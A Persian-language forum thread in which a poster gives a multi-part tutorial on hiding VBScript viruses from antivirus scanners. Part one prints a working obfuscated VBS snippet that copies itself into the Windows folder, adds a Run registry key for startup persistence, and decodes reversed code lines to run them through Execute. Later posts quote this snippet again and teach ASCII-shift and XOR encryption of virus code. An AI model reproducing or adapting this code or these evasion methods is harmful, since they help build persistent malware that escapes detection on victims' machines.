چه جالب وقتی که وارد صفحه 13 شدم NOD32 گفت در اون صفحه یک Script ویروسی وجود داره.
ممنون از دوستان استفاده کردیم.
چه جالب وقتی که وارد صفحه 13 شدم NOD32 گفت در اون صفحه یک Script ویروسی وجود داره.
ممنون از دوستان استفاده کردیم.
توی این تاپیک همه چیز هست به جز ویروس نویسی و انتی ویروس ... فکر کنم بهتره اسم این قسمت را متفرقه بزاریم
شما اگر اون مطالب رو خونده باشی ميفهمی که همش در رابطه با ويروس نويسی هستش. بهتره ديگه نظر ندی
چطور ويروسمونو غير قابل شناسايی کنيم؟
سلام بچه ها. قراره از امروز آموزش مخفی سازی ويروس vbs رو از دست AV ها داشته باشيم. اما اول يکم توضيح:
در واقع زياد شدن و رايج بودن و قدرت بالای تخريب ويروس های vbs باعث شده که AVs (آنتی ويروس ها) در تشخيص اونا يکم زياده روی کنن به طوری که بعضی وقتا به بعضی فايل های vbs عادی هم گير ۳ پيچ می دن. طرز شناسايی اين ويروس ها توسط AVs درست مثل کدهای استفاده شده در خود اونا تابلوست. يعنی چی؟ خوب مثلا اکثر اين ويروس ها از اين فرمان CreateObject("Scripting.FileSystemObject") i در کد خودشون استفاده می کنن. خوب ويروس ياب ها هم از فرصت اشتفاده می کنن و هر فايلی که محتوی اين فرمان و چند فرمان تابلوی ديگه باشه رو به عنوان ويروس شناسايی می کنن (زحمت می کشن). ما هم برای اينکه سر اونا رو گول بماليم چکار می کنيم؟ بله بدترين نظر اينکه بگيم بايد بی خيال اين فرمان های شد
و...
در اين مقاله و يکی دو تای آينده می خوام چند روش برای مخفی سازی vbs ها معرفی کنم که تمامشون توسط افراد می شه گفت حرفه ای (KaGra=Bridga virii group, jackie=LineZer0 group) امتحان شدن و کار می کنن و استفاده از هرکدومشون کد شما رو ۱۰۰٪ غيرقابل شناسايی می کنه!!
روش اول اينقدر سادس که فکر کنم اگر توضيحات رو تو خود کد بگم کافی باشه فقط بگم اجرای اين کد باعث ميشه تا ويروس خودشو در شاخه ويندوز کپی کنه و با تغيير در رجيستری با هر بار بالا امدن ويندوز اجرا بشه.
' Method by KaGara'' In http://viri.persianblog.com''txen emuser rorre no')"tcejbOmetsySeliF.gnitpircS"(tcejbOetaerC = OSF tes')redloFswodniW(redloFlaicepSteG.OSF = riDypoC'"sbv.xco.23glDmoC\" + riDypoC = htaPV')"llehS.tpircSW"(tcejbOetaerC = llehShsW teS'"ZS_GER" ,"% " + htaPV +" exe.tpircsw" ,"23GLDMOC\nuR\noisreVtnerruC\swodniW\tfosorciM\ER AWTFOS\MLKH" etirWgeR.llehShsW'htaPV ,emaNlluFtpircS.tpircSW eliFypoC.OSFon error resume nextSet fso = CreateObject("Scripting.FileSystemObject")Set fil = fso.OpenTextFile(wscript.scriptfullname)for I=1 to 8 buf = Fil.ReadLine 'خط به خط می خونه buf2= StrReverse(buf) 'هر خط رو برعکس می کنه buf3= Mid(buf2, 1, Len(buf2)-1) ' کاراکتر اضافی "'" ته هر خط رو پاک می کنه all = all& ":" & buf3 ' تمام خطوط رو کنار هم می زارهnextfil.Close()pasargad = Mid(all, 2, len(All)-1) 'کاراکتر اول رشته رو پاک می کنهexecute(pasargad) ' رشته داده شده رو اجرا می کنهخوب ديديد چقدر سادس!! فقط بايد بگم در vbs اگر بخوايد چندتا فرمان رو تو يه خط بنويسيد بايد اونا رو با کاراکتر ":" از هم جدا کنيد. و همچنين فرمان execute که همه اين روش ها بر مبنای اين تابع بوجود می يان٬ رشته ورودی رو که يکسری فرمان vbs بايد باشه رو اجرا می کنه مثلا Execute(" a=100: b=200: msgbox a+b")i يه مسيج باکس با متن ۳۰۰ نمايش می ده. همچنين بايد بگم تو اين روش شما نبايد در کد خودتون از فرمان execute() استفاده کنيد چون دوتا فرمان execute تو در تو باعث ايجاد خطا می شه. مثلا: execute(execute(buffer))i دستور buffer رو اجرا نخواهد کرد.
خوب ديگه خيلی طولانی شد! اما دفعه بعد با يه روش ديگه که خيلی جالبتر و علمی تر و ... تر هست در خدمتتون خواهم بود
چطور ويروسمونو غير قابل شناسايی کنيم؟ (قسمت ۲)
سلام. تو پست قبلی درباره يکی از روش های مخفی سازی ويروس يا در اصل Virus Code Encryption (از اين به بعد با همين اصتلاح کار می کنيم) توضيح دادم که تقريبا روش خوبی بود. اما بزاريد يه سری روش های ديگه رو هم که معمولا در Encrypt سازی ويروس ها از اونا استفاده می شه معرفی کنيم.
خوب فکر کنم با ديدن مثال قبلی (تو پست قبل) متوجه شده باشيد که اصل ساختار Encrypting (به رمز درآوردن) به چه صورته. ابتدا کد ويروس رو به روش ها مختلف Encrypt می کنيم بعد کدی می نويسيم که با هر بار اجرای ويروس کد Encrypt شده رو Decrypt (از حالت رمزی خارج کردن) کنه و با استفاده از فرمان Execute اونو اجرا کنه حالا ساير روش های Encrypt سازی.
ببينيد بيايد در اين مرحله اصلا فکر کنيم که نمی خايم کد vb رو Encrypt کنيم. مثلا فکر کنيد می خاييد نامه ای رو که به دوستتون نوشتيد رمزی کنيد (ای کلک)٬ خوب حالا چکار می کنيد؟ يه روش اينکه تمام حروف رو يکی ببرين جلو مثلا "honey" تبديل ميشه به "ipofz"٫ درسته بقول معروف روش ازگل هاست ولی حتی استفاده از همين روش هم AV ها رو عاجز می کنه. بزاريد يکم عملی ترش کنيم:
روش جمع/تفريق:
اين روش شبيه همون روش بالاست يعنی مثلا حروف يک رشته رو يک يا هرچندتا که بخايم جلو يا عقب ببريم. ديگه فکر کنم اينقدر حرفه ای هستيد که فقط نشون دادن مثال کافی باشه:
OldString = "This is a test!"اين کد مقدار اسکی هر حرف از رشته OldString را به اندازه ۲۳ واحد افزايش می دهد و آن را در متغيير NewString قرار می دهد. در پايان حلقه مقدار رشته NewString (مثلا يه چيزی مثل)٬ "ی↔…β−÷ا لت≤ه♀»غ" خواهد شد. مشکل اين روش اين است که روال عمليات Encryption با روال Decryption متفاوت است. يعنی برای از رمز در آوردن رشته جديد بايد از روال زير استفاده کنيم:
For i = 1 to Len(OldString)
NewString = NewString & Chr(Asc(Mid(OldString, i, 1)) + 23)
Next
OldString = "ی↔…β−÷ا لت≤ه♀»غ"اين روال رشته ما رو دوباره به صورت "This is a test!" در خواهد آورد. (ايندفه ۲۳ تا کم می کنه) البته شما می تونيد از مقادير بيشتر يا کمتری برای اضافه يا کم کردن استفاده کنيد اما بخاطر داشته باشيد که مقادير اسکی از ۰ تا ۲۵۵ هستند و اگر مثلا شما مقدار اسکی کاراکتر "A" رو که ۶۵ هست بعلاوه ۲۰۰ يا منهای ۶۷ بکنيد از اين محدوده خارج شديد و باعث ايجاد خطا هنگام اجرای برنامتون می شيد.
For i = 1 to Len(OldString)
NewString = NewString & Chr(Asc(Mid(OldString, i, 1)) - 23)
Next
فکر نمی کنم سخت باشه و فقط با يبار دوره ميتونيد اصلا خودتون يه همچين مقاله آموزشی بنويسيد. ايندفه خيلی طولانی شد!! ولی هنوز حرفه ای ترين روش مونده که ايشاالله مقاله بعدی.
چطور ويروسمونو غير قابل شناسايی کنيم؟ (قسمت ۳)
خوب داشتيم رو روش های encrypt سازی کار می کرديم و حالا روش بعدی:
روش XOR:
ميشه گفت اين روش رو بسياری از ويروس های نرمال asm هم برای encrypt سازی خودشون استفاده می کردند و تقريبا بهترين و شناخته شده ترين روشه! بايد بگم xor هم يه عملونده درست مثل + يا - و تقريبا تو تمام زبون های برنامه نويسی هم وجود داره. اما قسمت سخت کار درک روش کار اين عملونده! به اين عبارت توجه کنيد:
5 XOR 3 = 6خوب همينه ديگه! اگر هيچ اطلاعاتی در مورد نحوه کار اين عملوند نداشته باشيد عمرا نتونيد متوجه بشيد بين ۳ و ۵ چه رابطه ای هست که بشه ۶!!!! در واقع اين عملوند با معادل های باينری اعداد يا حروف کار می کنه (اگر باينری بلد نيستيد هم خيالی نيست). و همونطوری که بايد/شايد بدونيد باينری ها فقط از ۰ و ۱ تشکيل ميشن. مثلا معادل باينری ۵ = ۰۰۰۰۰۱۰۱ و معادل سه = ۰۰۰۰۰۰۱۱. با اين توضيحات يه نگاه ديگه بندازيد:
0 0 0 0 0 1 0 1 معادل سهخوب حالا ديگه شايد به رابطش پی برده باشيد!! وقتی که عملوند XOR روی دو باينری تاثير می زاره همونطور که در بالا می بينيد اگر هردو بيت ۰ باشند بيت جواب هم ۰ ميشه. اگر يکی از بيت ها ۱ و ديگری ۰ باشه بيت جواب ۱ خواهد شد ولی اگر هر دو بيت ۱ باشه بيت جواب ۰ خواهد شد (در ضمن اين کار رو بايد با هر ۸ تا بيت انجام بديم)! خوب اگر به شماتيک بالا نگاه کيند می بينيد که طبق توضيح پنچ تا بيت اول (ما از چپ شروع می کنيم) که در هر دو باينری ۰ بوده پنج تا ۰ در باينری جواب بوجود آورده. در بيت ششم و هفتم هم يکی ۰ و يکی ۱ داشته پس جواب در هر دو حالت ۱ ميشه. اما بيت هشتم هر دو باينری ۱ هست پس بيت هشتم باينری جواب ۰ خواهد شده. و حالا ۰۰۰۰۰۱۱۰ مقدار باينری معادل ۶ هستش (بازم می گم لازم نيست شما مقدار باينری معادل هر عدد یا حروفی رو بدونيد!)
0 0 0 0 0 0 1 1 XOR معادل پنج
==========
0 0 0 0 0 1 1 0 معادل شش
خوب حالا اين چه ربطی داشت؟ (تو قسمتای بعدی می گم)
mazi_z_MCSDسلام دوست عزیز خوبی من تا الان می خواستم خودمو تو این تاپیک دخالت ندم ولی الان می خواهم اینکارو انجام بدم شما کاربر خوبی هستین ولی یخورده انگار اصبی هستی اینجور صحبت کردن درست نیست. ناراحت نشی یا گفتم بدونی من مدیر نیستم ولی وظیفه خودم دونستم اینو به شما گوش زد کنم چون از همین کلمات کوچک یهو این تاپیک ....... به راههای دیگه کشیده می شه و در آخر هم باید جمع بشه
ممنون
جواب شما mazi_z_MCSDنقل قول:
نوشته شده توسط CrazyTux مشاهده تاپيک
توی این تاپیک همه چیز هست به جز ویروس نویسی و انتی ویروس ... فکر کنم بهتره اسم این قسمت را متفرقه بزاریم
شما اگر اون مطالب رو خونده باشی ميفهمی که همش در رابطه با ويروس نويسی هستش. بهتره ديگه نظر ندی
فکر کنم مطالبت کپی پیست کردیروش اول اينقدر سادس که فکر کنم اگر توضيحات رو تو خود کد بگم کافی باشه فقط بگم اجرای اين کد باعث ميشه تا ويروس خودشو در شاخه ويندوز کپی کنه و با تغيير در رجيستری با هر بار بالا امدن ويندوز اجرا بشه.
' Method by KaGara'' In http://viri.persianblog.com''txen emuser rorre no')"tcejbOmetsySeliF.gnitpircS"(tcejbOetaerC = OSF tes')redloFswodniW(redloFlaicepSteG.OSF = riDypoC'"sbv.xco.23glDmoC\" + riDypoC = htaPV')"llehS.tpircSW"(tcejbOetaerC = llehShsW teS'"ZS_GER" ,"% " + htaPV +" exe.tpircsw" ,"23GLDMOC\nuR\noisreVtnerruC\swodniW\tfosorciM \ER AWTFOS\MLKH" etirWgeR.llehShsW'htaPV ,emaNlluFtpircS.tpircSW eliFypoC.OSFon error resume nextSet fso = CreateObject("Scripting.FileSystemObject")Set fil = fso.OpenTextFile(wscript.scriptfullname)for I=1 to 8 buf = Fil.ReadLine 'خط به خط می خونه buf2= StrReverse(buf) 'هر خط رو برعکس می کنه buf3= Mid(buf2, 1, Len(buf2)-1) ' کاراکتر اضافی "'" ته هر خط رو پاک می کنه all = all& ":" & buf3 ' تمام خطوط رو کنار هم می زارهnextfil.Close()pasargad = Mid(all, 2, len(All)-1) 'کاراکتر اول رشته رو پاک می کنهexecute(pasargad) ' رشته داده شده رو اجرا می کنه
خوب ديديد چقدر سادس!! فقط بايد بگم در vbs اگر بخوايد چندتا فرمان رو تو يه خط بنويسيد بايد اونا رو با کاراکتر ":" از هم جدا کنيد. و همچنين فرمان execute که همه اين روش ها بر مبنای اين تابع بوجود می يان٬ رشته ورودی رو که يکسری فرمان vbs بايد باشه رو اجرا می کنه مثلا Execute(" a=100: b=200: msgbox a+b")i يه مسيج باکس با متن ۳۰۰ نمايش می ده. همچنين بايد بگم تو اين روش شما نبايد در کد خودتون از فرمان execute() استفاده کنيد چون دوتا فرمان execute تو در تو باعث ايجاد خطا می شه. مثلا: execute(execute(buffer))i دستور buffer رو اجرا نخواهد کرد.
خوب ديگه خيلی طولانی شد! اما دفعه بعد با يه روش ديگه که خيلی جالبتر و علمی تر و ... تر هست در خدمتتون خواهم بود
کاش اغلا خودت تایپ میکردی تا بفهمیم چی نوشتی
الان هم اگه کمی به خودت زحمت بدی و مطالب رو تو Word کپی کنی و با فونت و سايزی که ميخوای تنظيم کنی بهتر ميتونی بخونی. این حرف رو قبلا هم برايه کمک به دوستان گفته بودم
البته خوشحال ميشم از انتقادادتون ميتونم با نظرات شما تاپيک رو بهتر کنم منتظر مقالات بعدی باشيد
با عرض سلام من می خواستم بگم که لینوکس و نرم افزار های اون و روش کارش اسون نیست که هر کسی بتونه کار کنه بعد هم این نرم افزار های که لینوکس خودش داره جامع نیست![]()
هم اکنون 1 کاربر در حال مشاهده این تاپیک میباشد. (0 کاربر عضو شده و 1 مهمان)